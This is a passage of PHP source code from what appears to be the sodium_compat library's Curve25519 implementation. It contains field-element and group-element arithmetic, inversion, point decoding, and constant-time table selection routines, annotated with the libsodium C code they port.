        $f4f9_38 = self::mul($f9_38, $f4, 24);
        $f5f5_38 = self::mul($f5_38, $f5, 24);
        $f5f6_38 = self::mul($f6_19, $f5_2, 24);
        $f5f7_76 = self::mul($f7_38, $f5_2, 24);
        $f5f8_38 = self::mul($f8_19, $f5_2, 24);
        $f5f9_76 = self::mul($f9_38, $f5_2, 24);
        $f6f6_19 = self::mul($f6_19, $f6, 24);
        $f6f7_38 = self::mul($f7_38, $f6, 24);
        $f6f8_38 = self::mul($f8_19, $f6_2, 25);
        $f6f9_38 = self::mul($f9_38, $f6, 24);
        $f7f7_38 = self::mul($f7_38, $f7, 24);
        $f7f8_38 = self::mul($f8_19, $f7_2, 24);
        $f7f9_76 = self::mul($f9_38, $f7_2, 24);
        $f8f8_19 = self::mul($f8_19, $f8, 24);
        $f8f9_38 = self::mul($f9_38, $f8, 24);
        $f9f9_38 = self::mul($f9_38, $f9, 24);

        $h0 = (int) ($f0f0 + $f1f9_76 + $f2f8_38 + $f3f7_76 + $f4f6_38 + $f5f5_38) << 1;
        $h1 = (int) ($f0f1_2 + $f2f9_38 + $f3f8_38 + $f4f7_38 + $f5f6_38) << 1;
        $h2 = (int) ($f0f2_2 + $f1f1_2  + $f3f9_76 + $f4f8_38 + $f5f7_76 + $f6f6_19) << 1;
        $h3 = (int) ($f0f3_2 + $f1f2_2  + $f4f9_38 + $f5f8_38 + $f6f7_38) << 1;
        $h4 = (int) ($f0f4_2 + $f1f3_4  + $f2f2    + $f5f9_76 + $f6f8_38 + $f7f7_38) << 1;
        $h5 = (int) ($f0f5_2 + $f1f4_2  + $f2f3_2  + $f6f9_38 + $f7f8_38) << 1;
        $h6 = (int) ($f0f6_2 + $f1f5_4  + $f2f4_2  + $f3f3_2  + $f7f9_76 + $f8f8_19) << 1;
        $h7 = (int) ($f0f7_2 + $f1f6_2  + $f2f5_2  + $f3f4_2  + $f8f9_38) << 1;
        $h8 = (int) ($f0f8_2 + $f1f7_4  + $f2f6_2  + $f3f5_4  + $f4f4    + $f9f9_38) << 1;
        $h9 = (int) ($f0f9_2 + $f1f8_2  + $f2f7_2  + $f3f6_2  + $f4f5_2) << 1;

        $carry0 = ($h0 + (1 << 25)) >> 26;
        $h1 += $carry0;
        $h0 -= $carry0 << 26;
        $carry4 = ($h4 + (1 << 25)) >> 26;
        $h5 += $carry4;
        $h4 -= $carry4 << 26;

        $carry1 = ($h1 + (1 << 24)) >> 25;
        $h2 += $carry1;
        $h1 -= $carry1 << 25;
        $carry5 = ($h5 + (1 << 24)) >> 25;
        $h6 += $carry5;
        $h5 -= $carry5 << 25;

        $carry2 = ($h2 + (1 << 25)) >> 26;
        $h3 += $carry2;
        $h2 -= $carry2 << 26;
        $carry6 = ($h6 + (1 << 25)) >> 26;
        $h7 += $carry6;
        $h6 -= $carry6 << 26;

        $carry3 = ($h3 + (1 << 24)) >> 25;
        $h4 += $carry3;
        $h3 -= $carry3 << 25;
        $carry7 = ($h7 + (1 << 24)) >> 25;
        $h8 += $carry7;
        $h7 -= $carry7 << 25;

        $carry4 = ($h4 + (1 << 25)) >> 26;
        $h5 += $carry4;
        $h4 -= $carry4 << 26;
        $carry8 = ($h8 + (1 << 25)) >> 26;
        $h9 += $carry8;
        $h8 -= $carry8 << 26;

        $carry9 = ($h9 + (1 << 24)) >> 25;
        $h0 += self::mul($carry9, 19, 5);
        $h9 -= $carry9 << 25;

        $carry0 = ($h0 + (1 << 25)) >> 26;
        $h1 += $carry0;
        $h0 -= $carry0 << 26;

        return self::fe_normalize(
            ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(
                array(
                    (int) $h0,
                    (int) $h1,
                    (int) $h2,
                    (int) $h3,
                    (int) $h4,
                    (int) $h5,
                    (int) $h6,
                    (int) $h7,
                    (int) $h8,
                    (int) $h9
                )
            )
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $Z
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public static function fe_invert(ParagonIE_Sodium_Core_Curve25519_Fe $Z)
    {
        $z = clone $Z;
        $t0 = self::fe_sq($z);
        $t1 = self::fe_sq($t0);
        $t1 = self::fe_sq($t1);
        $t1 = self::fe_mul($z, $t1);
        $t0 = self::fe_mul($t0, $t1);
        $t2 = self::fe_sq($t0);
        $t1 = self::fe_mul($t1, $t2);
        $t2 = self::fe_sq($t1);
        for ($i = 1; $i < 5; ++$i) {
            $t2 = self::fe_sq($t2);
        }
        $t1 = self::fe_mul($t2, $t1);
        $t2 = self::fe_sq($t1);
        for ($i = 1; $i < 10; ++$i) {
            $t2 = self::fe_sq($t2);
        }
        $t2 = self::fe_mul($t2, $t1);
        $t3 = self::fe_sq($t2);
        for ($i = 1; $i < 20; ++$i) {
            $t3 = self::fe_sq($t3);
        }
        $t2 = self::fe_mul($t3, $t2);
        $t2 = self::fe_sq($t2);
        for ($i = 1; $i < 10; ++$i) {
            $t2 = self::fe_sq($t2);
        }
        $t1 = self::fe_mul($t2, $t1);
        $t2 = self::fe_sq($t1);
        for ($i = 1; $i < 50; ++$i) {
            $t2 = self::fe_sq($t2);
        }
        $t2 = self::fe_mul($t2, $t1);
        $t3 = self::fe_sq($t2);
        for ($i = 1; $i < 100; ++$i) {
            $t3 = self::fe_sq($t3);
        }
        $t2 = self::fe_mul($t3, $t2);
        $t2 = self::fe_sq($t2);
        for ($i = 1; $i < 50; ++$i) {
            $t2 = self::fe_sq($t2);
        }
        $t1 = self::fe_mul($t2, $t1);
        $t1 = self::fe_sq($t1);
        for ($i = 1; $i < 5; ++$i) {
            $t1 = self::fe_sq($t1);
        }
        return self::fe_mul($t1, $t0);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @ref https://github.com/jedisct1/libsodium/blob/68564326e1e9dc57ef03746f85734232d20ca6fb/src/libsodium/crypto_core/curve25519/ref10/curve25519_ref10.c#L1054-L1106
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $z
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public static function fe_pow22523(ParagonIE_Sodium_Core_Curve25519_Fe $z)
    {
        $z = self::fe_normalize($z);
        # fe_sq(t0, z);
        # fe_sq(t1, t0);
        # fe_sq(t1, t1);
        # fe_mul(t1, z, t1);
        # fe_mul(t0, t0, t1);
        # fe_sq(t0, t0);
        # fe_mul(t0, t1, t0);
        # fe_sq(t1, t0);
        $t0 = self::fe_sq($z);
        $t1 = self::fe_sq($t0);
        $t1 = self::fe_sq($t1);
        $t1 = self::fe_mul($z, $t1);
        $t0 = self::fe_mul($t0, $t1);
        $t0 = self::fe_sq($t0);
        $t0 = self::fe_mul($t1, $t0);
        $t1 = self::fe_sq($t0);

        # for (i = 1; i < 5; ++i) {
        #     fe_sq(t1, t1);
        # }
        for ($i = 1; $i < 5; ++$i) {
            $t1 = self::fe_sq($t1);
        }

        # fe_mul(t0, t1, t0);
        # fe_sq(t1, t0);
        $t0 = self::fe_mul($t1, $t0);
        $t1 = self::fe_sq($t0);

        # for (i = 1; i < 10; ++i) {
        #     fe_sq(t1, t1);
        # }
        for ($i = 1; $i < 10; ++$i) {
            $t1 = self::fe_sq($t1);
        }

        # fe_mul(t1, t1, t0);
        # fe_sq(t2, t1);
        $t1 = self::fe_mul($t1, $t0);
        $t2 = self::fe_sq($t1);

        # for (i = 1; i < 20; ++i) {
        #     fe_sq(t2, t2);
        # }
        for ($i = 1; $i < 20; ++$i) {
            $t2 = self::fe_sq($t2);
        }

        # fe_mul(t1, t2, t1);
        # fe_sq(t1, t1);
        $t1 = self::fe_mul($t2, $t1);
        $t1 = self::fe_sq($t1);

        # for (i = 1; i < 10; ++i) {
        #     fe_sq(t1, t1);
        # }
        for ($i = 1; $i < 10; ++$i) {
            $t1 = self::fe_sq($t1);
        }

        # fe_mul(t0, t1, t0);
        # fe_sq(t1, t0);
        $t0 = self::fe_mul($t1, $t0);
        $t1 = self::fe_sq($t0);

        # for (i = 1; i < 50; ++i) {
        #     fe_sq(t1, t1);
        # }
        for ($i = 1; $i < 50; ++$i) {
            $t1 = self::fe_sq($t1);
        }

        # fe_mul(t1, t1, t0);
        # fe_sq(t2, t1);
        $t1 = self::fe_mul($t1, $t0);
        $t2 = self::fe_sq($t1);

        # for (i = 1; i < 100; ++i) {
        #     fe_sq(t2, t2);
        # }
        for ($i = 1; $i < 100; ++$i) {
            $t2 = self::fe_sq($t2);
        }

        # fe_mul(t1, t2, t1);
        # fe_sq(t1, t1);
        $t1 = self::fe_mul($t2, $t1);
        $t1 = self::fe_sq($t1);

        # for (i = 1; i < 50; ++i) {
        #     fe_sq(t1, t1);
        # }
        for ($i = 1; $i < 50; ++$i) {
            $t1 = self::fe_sq($t1);
        }

        # fe_mul(t0, t1, t0);
        # fe_sq(t0, t0);
        # fe_sq(t0, t0);
        # fe_mul(out, t0, z);
        $t0 = self::fe_mul($t1, $t0);
        $t0 = self::fe_sq($t0);
        $t0 = self::fe_sq($t0);
        return self::fe_mul($t0, $z);
    }

    /**
     * Subtract two field elements.
     *
     * h = f - g
     *
     * Preconditions:
     * |f| bounded by 1.1*2^25,1.1*2^24,1.1*2^25,1.1*2^24,etc.
     * |g| bounded by 1.1*2^25,1.1*2^24,1.1*2^25,1.1*2^24,etc.
     *
     * Postconditions:
     * |h| bounded by 1.1*2^26,1.1*2^25,1.1*2^26,1.1*2^25,etc.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $g
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     * @psalm-suppress MixedOperand
     */
    public static function fe_sub(ParagonIE_Sodium_Core_Curve25519_Fe $f, ParagonIE_Sodium_Core_Curve25519_Fe $g)
    {
        return self::fe_normalize(
            ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(
                array(
                    (int) ($f[0] - $g[0]),
                    (int) ($f[1] - $g[1]),
                    (int) ($f[2] - $g[2]),
                    (int) ($f[3] - $g[3]),
                    (int) ($f[4] - $g[4]),
                    (int) ($f[5] - $g[5]),
                    (int) ($f[6] - $g[6]),
                    (int) ($f[7] - $g[7]),
                    (int) ($f[8] - $g[8]),
                    (int) ($f[9] - $g[9])
                )
            )
        );
    }

    /**
     * Add two group elements.
     *
     * r = p + q
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_Cached $q
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P1p1
     */
    public static function ge_add(
        ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p,
        ParagonIE_Sodium_Core_Curve25519_Ge_Cached $q
    ) {
        $r = new ParagonIE_Sodium_Core_Curve25519_Ge_P1p1();
        $r->X = self::fe_add($p->Y, $p->X);
        $r->Y = self::fe_sub($p->Y, $p->X);
        $r->Z = self::fe_mul($r->X, $q->YplusX);
        $r->Y = self::fe_mul($r->Y, $q->YminusX);
        $r->T = self::fe_mul($q->T2d, $p->T);
        $r->X = self::fe_mul($p->Z, $q->Z);
        $t0   = self::fe_add($r->X, $r->X);
        $r->X = self::fe_sub($r->Z, $r->Y);
        $r->Y = self::fe_add($r->Z, $r->Y);
        $r->Z = self::fe_add($t0, $r->T);
        $r->T = self::fe_sub($t0, $r->T);
        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @ref https://github.com/jedisct1/libsodium/blob/157c4a80c13b117608aeae12178b2d38825f9f8f/src/libsodium/crypto_core/curve25519/ref10/curve25519_ref10.c#L1185-L1215
     * @param string $a
     * @return array<int, mixed>
     * @throws SodiumException
     * @throws TypeError
     */
    public static function slide($a)
    {
        if (self::strlen($a) < 256) {
            if (self::strlen($a) < 16) {
                $a = str_pad($a, 256, '0', STR_PAD_RIGHT);
            }
        }
        /** @var array<int, int> $r */
        $r = array();

        /** @var int $i */
        for ($i = 0; $i < 256; ++$i) {
            $r[$i] = (int) (
                1 & (
                    self::chrToInt($a[(int) ($i >> 3)])
                        >>
                    ($i & 7)
                )
            );
        }

        for ($i = 0;$i < 256;++$i) {
            if ($r[$i]) {
                for ($b = 1;$b <= 6 && $i + $b < 256;++$b) {
                    if ($r[$i + $b]) {
                        if ($r[$i] + ($r[$i + $b] << $b) <= 15) {
                            $r[$i] += $r[$i + $b] << $b;
                            $r[$i + $b] = 0;
                        } elseif ($r[$i] - ($r[$i + $b] << $b) >= -15) {
                            $r[$i] -= $r[$i + $b] << $b;
                            for ($k = $i + $b; $k < 256; ++$k) {
                                if (!$r[$k]) {
                                    $r[$k] = 1;
                                    break;
                                }
                                $r[$k] = 0;
                            }
                        } else {
                            break;
                        }
                    }
                }
            }
        }
        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $s
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P3
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_frombytes_negate_vartime($s)
    {
        static $d = null;
        if (!$d) {
            $d = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$d);
        }

        # fe_frombytes(h->Y,s);
        # fe_1(h->Z);
        $h = new ParagonIE_Sodium_Core_Curve25519_Ge_P3(
            self::fe_0(),
            self::fe_frombytes($s),
            self::fe_1()
        );

        # fe_sq(u,h->Y);
        # fe_mul(v,u,d);
        # fe_sub(u,u,h->Z);       /* u = y^2-1 */
        # fe_add(v,v,h->Z);       /* v = dy^2+1 */
        $u = self::fe_sq($h->Y);
        /** @var ParagonIE_Sodium_Core_Curve25519_Fe $d */
        $v = self::fe_mul($u, $d);
        $u = self::fe_sub($u, $h->Z); /* u =  y^2 - 1 */
        $v = self::fe_add($v, $h->Z); /* v = dy^2 + 1 */

        # fe_sq(v3,v);
        # fe_mul(v3,v3,v);        /* v3 = v^3 */
        # fe_sq(h->X,v3);
        # fe_mul(h->X,h->X,v);
        # fe_mul(h->X,h->X,u);    /* x = uv^7 */
        $v3 = self::fe_sq($v);
        $v3 = self::fe_mul($v3, $v); /* v3 = v^3 */
        $h->X = self::fe_sq($v3);
        $h->X = self::fe_mul($h->X, $v);
        $h->X = self::fe_mul($h->X, $u); /* x = uv^7 */

        # fe_pow22523(h->X,h->X); /* x = (uv^7)^((q-5)/8) */
        # fe_mul(h->X,h->X,v3);
        # fe_mul(h->X,h->X,u);    /* x = uv^3(uv^7)^((q-5)/8) */
        $h->X = self::fe_pow22523($h->X); /* x = (uv^7)^((q-5)/8) */
        $h->X = self::fe_mul($h->X, $v3);
        $h->X = self::fe_mul($h->X, $u); /* x = uv^3(uv^7)^((q-5)/8) */

        # fe_sq(vxx,h->X);
        # fe_mul(vxx,vxx,v);
        # fe_sub(check,vxx,u);    /* vx^2-u */
        $vxx = self::fe_sq($h->X);
        $vxx = self::fe_mul($vxx, $v);
        $check = self::fe_sub($vxx, $u); /* vx^2 - u */

        # if (fe_isnonzero(check)) {
        #     fe_add(check,vxx,u);  /* vx^2+u */
        #     if (fe_isnonzero(check)) {
        #         return -1;
        #     }
        #     fe_mul(h->X,h->X,sqrtm1);
        # }
        if (self::fe_isnonzero($check)) {
            $check = self::fe_add($vxx, $u); /* vx^2 + u */
            if (self::fe_isnonzero($check)) {
                throw new RangeException('Internal check failed.');
            }
            $h->X = self::fe_mul(
                $h->X,
                ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$sqrtm1)
            );
        }

        # if (fe_isnegative(h->X) == (s[31] >> 7)) {
        #     fe_neg(h->X,h->X);
        # }
        $i = self::chrToInt($s[31]);
        if (self::fe_isnegative($h->X) === ($i >> 7)) {
            $h->X = self::fe_neg($h->X);
        }

        # fe_mul(h->T,h->X,h->Y);
        $h->T = self::fe_mul($h->X, $h->Y);
        return $h;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $R
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $q
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P1p1
     */
    public static function ge_madd(
        ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $R,
        ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p,
        ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $q
    ) {
        $r = clone $R;
        $r->X = self::fe_add($p->Y, $p->X);
        $r->Y = self::fe_sub($p->Y, $p->X);
        $r->Z = self::fe_mul($r->X, $q->yplusx);
        $r->Y = self::fe_mul($r->Y, $q->yminusx);
        $r->T = self::fe_mul($q->xy2d, $p->T);
        $t0 = self::fe_add(clone $p->Z, clone $p->Z);
        $r->X = self::fe_sub($r->Z, $r->Y);
        $r->Y = self::fe_add($r->Z, $r->Y);
        $r->Z = self::fe_add($t0, $r->T);
        $r->T = self::fe_sub($t0, $r->T);

        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $R
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $q
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P1p1
     */
    public static function ge_msub(
        ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $R,
        ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p,
        ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $q
    ) {
        $r = clone $R;

        $r->X = self::fe_add($p->Y, $p->X);
        $r->Y = self::fe_sub($p->Y, $p->X);
        $r->Z = self::fe_mul($r->X, $q->yminusx);
        $r->Y = self::fe_mul($r->Y, $q->yplusx);
        $r->T = self::fe_mul($q->xy2d, $p->T);
        $t0 = self::fe_add($p->Z, $p->Z);
        $r->X = self::fe_sub($r->Z, $r->Y);
        $r->Y = self::fe_add($r->Z, $r->Y);
        $r->Z = self::fe_sub($t0, $r->T);
        $r->T = self::fe_add($t0, $r->T);

        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $p
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P2
     */
    public static function ge_p1p1_to_p2(ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $p)
    {
        $r = new ParagonIE_Sodium_Core_Curve25519_Ge_P2();
        $r->X = self::fe_mul($p->X, $p->T);
        $r->Y = self::fe_mul($p->Y, $p->Z);
        $r->Z = self::fe_mul($p->Z, $p->T);
        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $p
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P3
     */
    public static function ge_p1p1_to_p3(ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $p)
    {
        $r = new ParagonIE_Sodium_Core_Curve25519_Ge_P3();
        $r->X = self::fe_mul($p->X, $p->T);
        $r->Y = self::fe_mul($p->Y, $p->Z);
        $r->Z = self::fe_mul($p->Z, $p->T);
        $r->T = self::fe_mul($p->X, $p->Y);
        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P2
     */
    public static function ge_p2_0()
    {
        return new ParagonIE_Sodium_Core_Curve25519_Ge_P2(
            self::fe_0(),
            self::fe_1(),
            self::fe_1()
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P2 $p
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P1p1
     */
    public static function ge_p2_dbl(ParagonIE_Sodium_Core_Curve25519_Ge_P2 $p)
    {
        $r = new ParagonIE_Sodium_Core_Curve25519_Ge_P1p1();

        $r->X = self::fe_sq($p->X);
        $r->Z = self::fe_sq($p->Y);
        $r->T = self::fe_sq2($p->Z);
        $r->Y = self::fe_add($p->X, $p->Y);
        $t0   = self::fe_sq($r->Y);
        $r->Y = self::fe_add($r->Z, $r->X);
        $r->Z = self::fe_sub($r->Z, $r->X);
        $r->X = self::fe_sub($t0, $r->Y);
        $r->T = self::fe_sub($r->T, $r->Z);

        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P3
     */
    public static function ge_p3_0()
    {
        return new ParagonIE_Sodium_Core_Curve25519_Ge_P3(
            self::fe_0(),
            self::fe_1(),
            self::fe_1(),
            self::fe_0()
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_Cached
     */
    public static function ge_p3_to_cached(ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p)
    {
        static $d2 = null;
        if ($d2 === null) {
            $d2 = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$d2);
        }
        /** @var ParagonIE_Sodium_Core_Curve25519_Fe $d2 */
        $r = new ParagonIE_Sodium_Core_Curve25519_Ge_Cached();
        $r->YplusX = self::fe_add($p->Y, $p->X);
        $r->YminusX = self::fe_sub($p->Y, $p->X);
        $r->Z = self::fe_copy($p->Z);
        $r->T2d = self::fe_mul($p->T, $d2);
        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P2
     */
    public static function ge_p3_to_p2(ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p)
    {
        return new ParagonIE_Sodium_Core_Curve25519_Ge_P2(
            self::fe_copy($p->X),
            self::fe_copy($p->Y),
            self::fe_copy($p->Z)
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $h
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_p3_tobytes(ParagonIE_Sodium_Core_Curve25519_Ge_P3 $h)
    {
        $recip = self::fe_invert($h->Z);
        $x = self::fe_mul($h->X, $recip);
        $y = self::fe_mul($h->Y, $recip);
        $s = self::fe_tobytes($y);
        $s[31] = self::intToChr(
            self::chrToInt($s[31]) ^ (self::fe_isnegative($x) << 7)
        );
        return $s;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P1p1
     */
    public static function ge_p3_dbl(ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p)
    {
        $q = self::ge_p3_to_p2($p);
        return self::ge_p2_dbl($q);
    }

    /**
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_Precomp
     */
    public static function ge_precomp_0()
    {
        return new ParagonIE_Sodium_Core_Curve25519_Ge_Precomp(
            self::fe_1(),
            self::fe_1(),
            self::fe_0()
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $b
     * @param int $c
     * @return int
     */
    public static function equal($b, $c)
    {
        return (int) ((($b ^ $c) - 1) >> 31) & 1;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int|string $char
     * @return int (1 = yes, 0 = no)
     * @throws SodiumException
     * @throws TypeError
     */
    public static function negative($char)
    {
        if (is_int($char)) {
            return ($char >> 63) & 1;
        }
        $x = self::chrToInt(self::substr($char, 0, 1));
        return (int) ($x >> 63);
    }

    /**
     * Conditional move
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $t
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $u
     * @param int $b
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_Precomp
     */
    public static function cmov(
        ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $t,
        ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $u,
        $b
    ) {
        if (!is_int($b)) {
            throw new InvalidArgumentException('Expected an integer.');
        }
        return new ParagonIE_Sodium_Core_Curve25519_Ge_Precomp(
            self::fe_cmov($t->yplusx,  $u->yplusx,  $b),
            self::fe_cmov($t->yminusx, $u->yminusx, $b),
            self::fe_cmov($t->xy2d,    $u->xy2d,    $b)
        );
    }

    /**
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_Cached $t
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_Cached $u
     * @param int $b
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_Cached
     */
    public static function ge_cmov_cached(
        ParagonIE_Sodium_Core_Curve25519_Ge_Cached $t,
        ParagonIE_Sodium_Core_Curve25519_Ge_Cached $u,
        $b
    ) {
        $b &= 1;
        $ret = new ParagonIE_Sodium_Core_Curve25519_Ge_Cached();
        $ret->YplusX  = self::fe_cmov($t->YplusX,  $u->YplusX,  $b);
        $ret->YminusX = self::fe_cmov($t->YminusX, $u->YminusX, $b);
        $ret->Z       = self::fe_cmov($t->Z,       $u->Z,       $b);
        $ret->T2d     = self::fe_cmov($t->T2d,     $u->T2d,     $b);
        return $ret;
    }

    /**
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_Cached[] $cached
     * @param int $b
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_Cached
     * @throws SodiumException
     */
    public static function ge_cmov8_cached(array $cached, $b)
    {
        // const unsigned char bnegative = negative(b);
        // const unsigned char babs      = b - (((-bnegative) & b) * ((signed char) 1 << 1));
        $bnegative = self::negative($b);
        $babs = $b - (((-$bnegative) & $b) << 1);

        // ge25519_cached_0(t);
        $t = new ParagonIE_Sodium_Core_Curve25519_Ge_Cached(
            self::fe_1(),
            self::fe_1(),
            self::fe_1(),
            self::fe_0()
        );

        // ge25519_cmov_cached(t, &cached[0], equal(babs, 1));
        // ge25519_cmov_cached(t, &cached[1], equal(babs, 2));
        // ge25519_cmov_cached(t, &cached[2], equal(babs, 3));
        // ge25519_cmov_cached(t, &cached[3], equal(babs, 4));
        // ge25519_cmov_cached(t, &cached[4], equal(babs, 5));
        // ge25519_cmov_cached(t, &cached[5], equal(babs, 6));
        // ge25519_cmov_cached(t, &cached[6], equal(babs, 7));
        // ge25519_cmov_cached(t, &cached[7], equal(babs, 8));
        for ($x = 0; $x < 8; ++$x) {
            $t = self::ge_cmov_cached($t, $cached[$x], self::equal($babs, $x + 1));
        }

        // fe25519_copy(minust.YplusX, t->YminusX);
        // fe25519_copy(minust.YminusX, t->YplusX);
        // fe25519_copy(minust.Z, t->Z);
        // fe25519_neg(minust.T2d, t->T2d);
        $minust = new ParagonIE_Sodium_Core_Curve25519_Ge_Cached(
            self::fe_copy($t->YminusX),
            self::fe_copy($t->YplusX),
            self::fe_copy($t->Z),
            self::fe_neg($t->T2d)
        );
        return self::ge_cmov_cached($t, $minust, $bnegative);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $pos
     * @param int $b
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_Precomp
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayOffset
     */
    public static function ge_select($pos = 0, $b = 0)
    {
        static $base = null;
        if ($base === null) {
            $base = array();
            /** @var int $i */
            foreach (self::$base as $i => $bas) {
                for ($j = 0; $j < 8; ++$j) {
                    $base[$i][$j] = new ParagonIE_Sodium_Core_Curve25519_Ge_Precomp(
                        ParagonIE_Sodium_Core_Curve25519_Fe::fromArray($bas[$j][0]),
                        ParagonIE_Sodium_Core_Curve25519_Fe::fromArray($bas[$j][1]),
                        ParagonIE_Sodium_Core_Curve25519_Fe::fromArray($bas[$j][2])
                    );
                }
            }
        }
        /** @var array<int, array<int, ParagonIE_Sodium_Core_Curve25519_Ge_Precomp>> $base */
        if (!is_int($pos)) {
            throw new InvalidArgumentException('Position must be an integer');
        }
        if ($pos < 0 || $pos > 31) {
            throw new RangeException('Position is out of range [0, 31]');
        }

        $bnegative = self::negative($b);
        $babs = $b - (((-$bnegative) & $b) << 1);

        $t = self::ge_precomp_0();
        for ($i = 0; $i < 8; ++$i) {
            $t = self::cmov(
                $t,
                $base[$pos][$i],
                self::equal($babs, $i + 1)
            );
        }
        $minusT = new ParagonIE_Sodium_Core_Curve25519_Ge_Precomp(
            self::fe_copy($t->yminusx),
            self::fe_copy($t->yplusx),
            self::fe_neg($t->xy2d)
        );
        return self::cmov($t, $minusT, $bnegative);
    }

    /**
     * Subtract two group elements.
     *
     * r = p - q
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_Cached $q
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P1p1
     */
    public static function ge_sub(
        ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p,
        ParagonIE_Sodium_Core_Curve25519_Ge_Cached $q
    ) {
        $r = new ParagonIE_Sodium_Core_Curve25519_Ge_P1p1();

        $r->X = self::fe_add($p->Y, $p->X);
        $r->Y = self::fe_sub($p->Y, $p->X);
        $r->Z = self::fe_mul($r->X, $q->YminusX);
        $r->Y = self::fe_mul($r->Y, $q->YplusX);
        $r->T = self::fe_mul($q->T2d, $p->T);
        $r->X = self::fe_mul($p->Z, $q->Z);
        $t0 = self::fe_add($r->X, $r->X);
        $r->X = self::fe_sub($r->Z, $r->Y);
        $r->Y = self::fe_add($r->Z, $r->Y);
        $r->Z = self::fe_sub($t0, $r->T);
        $r->T = self::fe_add($t0, $r->T);

        return $r;
    }

    /**
     * Convert a group element to a byte string.
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P2 $h
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
